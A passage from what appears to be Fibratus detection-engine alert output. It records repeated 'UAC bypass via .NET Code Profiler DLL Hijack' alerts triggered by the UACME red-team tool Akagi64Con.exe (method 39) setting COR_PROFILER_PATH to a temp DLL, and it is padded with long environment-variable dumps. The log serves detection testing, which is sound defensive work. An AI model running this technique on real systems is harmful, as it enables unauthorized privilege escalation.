Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:16:19+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 46106 + Pid: 3904 + Tid: 4644 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:16:18.9597985 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 3904 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:16:34+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 47200 + Pid: 18076 + Tid: 7312 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:16:33.1765854 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 18076 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-01T17:17:05+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 48368 + Pid: 13976 + Tid: 5560 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:17:05.2677925 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 13976 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 